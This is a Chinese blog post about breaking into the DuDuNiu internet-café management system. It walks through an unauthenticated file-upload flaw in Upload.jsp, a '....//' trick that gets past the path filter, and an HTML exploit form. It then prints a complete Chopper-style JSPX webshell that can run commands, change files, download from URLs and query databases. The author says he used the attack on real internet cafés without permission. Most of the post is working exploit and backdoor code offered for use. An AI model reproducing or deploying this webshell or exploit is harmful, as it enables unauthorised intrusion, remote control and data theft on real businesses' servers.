[渗透&审计]嘟嘟牛网吧系统GetShell

作者: Luan 分类: 代码审计 发布时间: 2017-03-31 14:24

首发于土司。然后发在团队博客。现在做了博客发出来一起瞅瞅吧。

 

测试了下学校周围的两个网吧都成功了。理论通杀长沙所有嘟嘟牛。


首先这个系统比较老。看文件最后修改时间是11年的,漏洞有很多,不知道有没有前辈分享过。

注入漏洞的话限制很大,万一不是root,万一不能写shell万一路径变了呢。

虽然我测试的那个两个网吧,mysql都是装在3308端口,默认密码应该也不会改,但是万一别的地方不一样呢。

所以我就终于找到了个利用更简单更稳定的上传getshell

先要用iisputscanner什么的扫下网吧网段,找到收银服务器,收银服务器开启了80和8080.

漏洞文件 : netbar\common\Upload.jsp

<%@ page contentType="text/plain;charset=gbk"%>
<%@ page import="webkiosk.netbar.common.Tools"%>
<jsp:useBean id="upload" scope="page" class="mmspack.FileUpload" />
<%
String uploadPath=request.getServletPath();
if(uploadPath.lastIndexOf('/')>0) uploadPath=uploadPath.substring(0,uploadPath.lastIndexOf('/'));
String path=Tools.nullToString(request.getParameter("path"),true);
if(path.length()>0)
{
        path=path.replaceAll("../","");
        if(!path.startsWith(uploadPath))
        {
                if(path.startsWith("/"))
                        path=uploadPath+path;
                else
                        path=uploadPath+"/"+path;
        }
}
else
{
        path=uploadPath;
}
String realPath=application.getRealPath(path);
if(realPath!=null && realPath.length()>0 && upload.upload(request,realPath)>0)
        out.println("true");
else
        out.println("false");
%>

反编译下:
mmspack.FileUpload:

public int upload(HttpServletRequest paramHttpServletRequest, String paramString)
    throws IOException
  {
    this.paramMap.clear();
    this.paramMap.putAll(paramHttpServletRequest.getParameterMap());
    this.fileNames.clear();
    this.charEncoding = paramHttpServletRequest.getCharacterEncoding();
    if ((this.charEncoding != null) && (this.charEncoding.equalsIgnoreCase(System.getProperty("file.encoding"))))
      this.charEncoding = null;
    String str1 = paramHttpServletRequest.getContentType();
    int i = str1 != null ? str1.indexOf("multipart/form-data; boundary=") : -1;
    if (i == -1)
    {
      this.err = "request对象内容无效!";
      return -1;
    }
    String str2 = "--" + str1.substring(i + "multipart/form-data; boundary=".length());
    if (((this.maxSize > 0L) && (paramHttpServletRequest.getContentLength() > this.maxSize)) || (paramHttpServletRequest.getContentLength() <= 0))
    {
      this.err = "数据大小无效或超出允许范围!";
      return -1;
    }
    if ((paramString == null) || (paramString.equals("")))
    {
      this.err = "无效目标路径!";
      return -1;
    }
    if (File.separatorChar == '/')
      paramString = paramString.replace('\\', File.separatorChar);
    else
      paramString = paramString.replace('/', File.separatorChar);
    if (!paramString.endsWith(File.separator))
      paramString = paramString + File.separator;
    this.realPath = paramString.substring(0, paramString.length() - 1);
    ServletInputStream localServletInputStream = paramHttpServletRequest.getInputStream();
    while (true)
    {
      String[] arrayOfString1 = getContentNames(localServletInputStream);
      if (arrayOfString1 == null)
        break;
      for (String str3 = readLine01(localServletInputStream); (str3 != null) && (!str3.equals("")); str3 = readLine01(localServletInputStream));
      if (str3 == null)
        break;
      if (arrayOfString1[1] == null)
      {
        if (this.charEncoding != null)
          arrayOfString1[0] = new String(arrayOfString1[0].getBytes(), this.charEncoding);
        String str4 = readParam(localServletInputStream, str2);
        if (this.charEncoding != null)
          str4 = new String(str4.getBytes(), this.charEncoding);
        String[] arrayOfString2 = (String[])this.paramMap.get(arrayOfString1[0]);
        if (arrayOfString2 == null)
        {
          this.paramMap.put(arrayOfString1[0], new String[] { str4 });
        }
        else
        {
          String[] arrayOfString3 = new String[arrayOfString2.length + 1];
          System.arraycopy(arrayOfString2, 0, arrayOfString3, 0, arrayOfString2.length);
          arrayOfString3[arrayOfString2.length] = str4;
          this.paramMap.put(arrayOfString1[0], arrayOfString3);
        }
      }
      else if (arrayOfString1[1].length() > 0)
      {
        for (int j = 0; j < this.forbiddenFiles.length; j++)
          if (arrayOfString1[1].toLowerCase().endsWith(this.forbiddenFiles[j]))
          {
            this.err = "无效文件类型";
            return -1;
          }
        File localFile = new File(paramString);
        if (!localFile.exists())
          localFile.mkdirs();
        if (saveDataToFile(localServletInputStream, paramString + arrayOfString1[1], str2))
        {
          if (this.charEncoding != null)
            arrayOfString1[1] = new String(arrayOfString1[1].getBytes(), this.charEncoding);
          this.fileNames.add(arrayOfString1[1]);
        }
      }
    }
    return this.fileNames.size();
  }

也没什么技术含量,就是简单的黑名单验证上传,也不需要登陆,直接构造表单上传个jspx就可以了。
exp:

DoDoNew 0day By Luan // QQ:1524946693
<form action="http://192.168.1.198:8080/netbar/common/Upload.jsp?path=....//" method="post" enctype="multipart/form-data">
<input name="name" type=file>
<input type=submit value="Hack!">
</form>

path=….// ,过滤一个../还会剩下个../,我测试第二个网吧的时候,直接上传不了,这样子才上传成功。

然后这东西权限自然是炒鸡大的,不大的话,也能自己提上去嘛。上远控什么的:

附上我使用的一个JSPX webshell 。用菜刀连接 , 密码 Luan

<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" xmlns="http://www.w3.org/1999/xhtml" xmlns:c="http://java.sun.com/jsp/jstl/core" version="1.2">
<jsp:directive.page contentType="text/html" pageEncoding="UTF-8" />
<jsp:directive.page import="java.io.*"/>
<jsp:directive.page import="java.util.*"/>
<jsp:directive.page import="java.net.*"/>
<jsp:directive.page import="java.sql.*"/>
<jsp:directive.page import="java.text.*"/>
<jsp:declaration>
String Pwd="Luan";
String cs="UTF-8";
String EC(String s)throws Exception{
        return new String(s.getBytes("ISO-8859-1"),cs);
}
Connection GC(String s)throws Exception{
        String[] x=s.trim().split("\r\n");
        Class.forName(x[0].trim());
        if(x[1].indexOf("jdbc:oracle")!=-1){
                return DriverManager.getConnection(x[1].trim()+":"+x[4],x[2].equalsIgnoreCase("[/null]")?"":x[2],x[3].equalsIgnoreCase("[/null]")?"":x[3]);
        }else{
                Connection c=DriverManager.getConnection(x[1].trim(),x[2].equalsIgnoreCase("[/null]")?"":x[2],x[3].equalsIgnoreCase("[/null]")?"":x[3]);
                if(x.length>4){
                        c.setCatalog(x[4]);
                }
                return c;
        }
}
void AA(StringBuffer sb)throws Exception{
        File r[]=File.listRoots();for(int i=0;i&lt;r.length;i++){
                sb.append(r[i].toString().substring(0,2));
        }
}
void BB(String s,StringBuffer sb)throws Exception{File oF=new File(s),l[]=oF.listFiles();String sT,sQ,sF="";java.util.Date dt;SimpleDateFormat fm=new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");for(int i=0; i&lt;l.length; i++){dt=new java.util.Date(l[i].lastModified());sT=fm.format(dt);sQ=l[i].canRead()?"R":"";sQ +=l[i].canWrite()?" W":"";if(l[i].isDirectory()){sb.append(l[i].getName()+"/\t"+sT+"\t"+l[i].length()+"\t"+sQ+"\n");}else{sF+=l[i].getName()+"\t"+sT+"\t"+l[i].length()+"\t"+sQ+"\n";}}sb.append(sF);}void EE(String s)throws Exception{File f=new File(s);if(f.isDirectory()){File x[]=f.listFiles();for(int k=0; k &lt; x.length; k++){if(!x[k].delete()){EE(x[k].getPath());}}}f.delete();}void FF(String s,HttpServletResponse r)throws Exception{int n;byte[] b=new byte[512];r.reset();ServletOutputStream os=r.getOutputStream();BufferedInputStream is=new BufferedInputStream(new FileInputStream(s));os.write(("->"+"|").getBytes(),0,3);while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}os.write(("|"+"&lt;-").getBytes(),0,3);os.close();is.close();}void GG(String s,String d)throws Exception{String h="0123456789ABCDEF";File f=new File(s);f.createNewFile();FileOutputStream os=new FileOutputStream(f);for(int i=0; i&lt;d.length();i+=2){os.write((h.indexOf(d.charAt(i)) &lt;&lt; 4 | h.indexOf(d.charAt(i+1))));}os.close();}void HH(String s,String d)throws Exception{File sf=new File(s),df=new File(d);if(sf.isDirectory()){if(!df.exists()){df.mkdir();}File z[]=sf.listFiles();for(int j=0; j&lt;z.length; j++){HH(s+"/"+z[j].getName(),d+"/"+z[j].getName());}}else{FileInputStream is=new FileInputStream(sf);FileOutputStream os=new FileOutputStream(df);int n;byte[] b=new byte[512];while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}is.close();os.close();}}void II(String s,String d)throws Exception{File sf=new File(s),df=new File(d);sf.renameTo(df);}void JJ(String s)throws Exception{File f=new File(s);f.mkdir();}void KK(String s,String t)throws Exception{File f=new File(s);SimpleDateFormat fm=new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");java.util.Date dt=fm.parse(t);f.setLastModified(dt.getTime());}void LL(String s,String d)throws Exception{URL u=new URL(s);int n=0;FileOutputStream os=new FileOutputStream(d);HttpURLConnection h=(HttpURLConnection) u.openConnection();InputStream is=h.getInputStream();byte[] b=new byte[512];while((n=is.read(b))!=-1){os.write(b,0,n);}os.close();is.close();h.disconnect();}void MM(InputStream is,StringBuffer sb)throws Exception{String l;BufferedReader br=new BufferedReader(new InputStreamReader(is));while((l=br.readLine())!=null){sb.append(l+"\r\n");}}void NN(String s,StringBuffer sb)throws Exception{Connection c=GC(s);ResultSet r=s.indexOf("jdbc:oracle")!=-1?c.getMetaData().getSchemas():c.getMetaData().getCatalogs();while(r.next()){sb.append(r.getString(1)+"\t");}r.close();c.close();}void OO(String s,StringBuffer sb)throws Exception{Connection c=GC(s);String[] x=s.trim().split("\r\n");ResultSet r=c.getMetaData().getTables(null,s.indexOf("jdbc:oracle")!=-1?x.length>5?x[5]:x[4]:null,"%",new String[]{"TABLE"});while(r.next()){sb.append(r.getString("TABLE_NAME")+"\t");}r.close();c.close();}void PP(String s,StringBuffer sb)throws Exception{String[] x=s.trim().split("\r\n");Connection c=GC(s);Statement m=c.createStatement(1005,1007);ResultSet r=m.executeQuery("select * from "+x[x.length-1]);ResultSetMetaData d=r.getMetaData();for(int i=1;i&lt;=d.getColumnCount();i++){sb.append(d.getColumnName(i)+" ("+d.getColumnTypeName(i)+")\t");}r.close();m.close();c.close();}void QQ(String cs,String s,String q,StringBuffer sb,String p)throws Exception{Connection c=GC(s);Statement m=c.createStatement(1005,1008);BufferedWriter bw=null;try{ResultSet r=m.executeQuery(q.indexOf("--f:")!=-1?q.substring(0,q.indexOf("--f:")):q);ResultSetMetaData d=r.getMetaData();int n=d.getColumnCount();for(int i=1; i &lt;=n; i++){sb.append(d.getColumnName(i)+"\t|\t");}sb.append("\r\n");if(q.indexOf("--f:")!=-1){File file=new File(p);if(q.indexOf("-to:")==-1){file.mkdir();}bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(q.indexOf("-to:")!=-1?p.trim():p+q.substring(q.indexOf("--f:")+4,q.length()).trim()),true),cs));}while(r.next()){for(int i=1; i&lt;=n;i++){if(q.indexOf("--f:")!=-1){bw.write(r.getObject(i)+""+"\t");bw.flush();}else{sb.append(r.getObject(i)+""+"\t|\t");}}if(bw!=null){bw.newLine();}sb.append("\r\n");}r.close();if(bw!=null){bw.close();}}catch(Exception e){sb.append("Result\t|\t\r\n");try{m.executeUpdate(q);sb.append("Execute Successfully!\t|\t\r\n");}catch(Exception ee){sb.append(ee.toString()+"\t|\t\r\n");}}m.close();c.close();}</jsp:declaration><jsp:scriptlet>cs=request.getParameter("z0")!=null?request.getParameter("z0")+"":cs;response.setContentType("text/html");response.setCharacterEncoding(cs);StringBuffer sb=new StringBuffer("");try{String Z=EC(request.getParameter(Pwd)+"");String z1=EC(request.getParameter("z1")+"");String z2=EC(request.getParameter("z2")+"");sb.append("->"+"|");String s=request.getSession().getServletContext().getRealPath("/");if(Z.equals("A")){sb.append(s+"\t");if(!s.substring(0,1).equals("/")){AA(sb);}}else if(Z.equals("B")){BB(z1,sb);}else if(Z.equals("C")){String l="";BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));while((l=br.readLine())!=null){sb.append(l+"\r\n");}br.close();}else if(Z.equals("D")){BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1))));bw.write(z2);bw.close();sb.append("1");}else if(Z.equals("E")){EE(z1);sb.append("1");}else if(Z.equals("F")){FF(z1,response);}else if(Z.equals("G")){GG(z1,z2);sb.append("1");}else if(Z.equals("H")){HH(z1,z2);sb.append("1");}else if(Z.equals("I")){II(z1,z2);sb.append("1");}else if(Z.equals("J")){JJ(z1);sb.append("1");}else if(Z.equals("K")){KK(z1,z2);sb.append("1");}else if(Z.equals("L")){LL(z1,z2);sb.append("1");}else if(Z.equals("M")){String[] c={z1.substring(2),z1.substring(0,2),z2};Process p=Runtime.getRuntime().exec(c);MM(p.getInputStream(),sb);MM(p.getErrorStream(),sb);}else if(Z.equals("N")){NN(z1,sb);}else if(Z.equals("O")){OO(z1,sb);}else if(Z.equals("P")){PP(z1,sb);}else if(Z.equals("Q")){QQ(cs,z1,z2,sb,z2.indexOf("-to:")!=-1?z2.substring(z2.indexOf("-to:")+4,z2.length()):s.replaceAll("\\\\","/")+"images/");}}catch(Exception e){sb.append("ERROR"+":// "+e.toString());}sb.append("|"+"&lt;-");out.print(sb.toString());</jsp:scriptlet></jsp:root>

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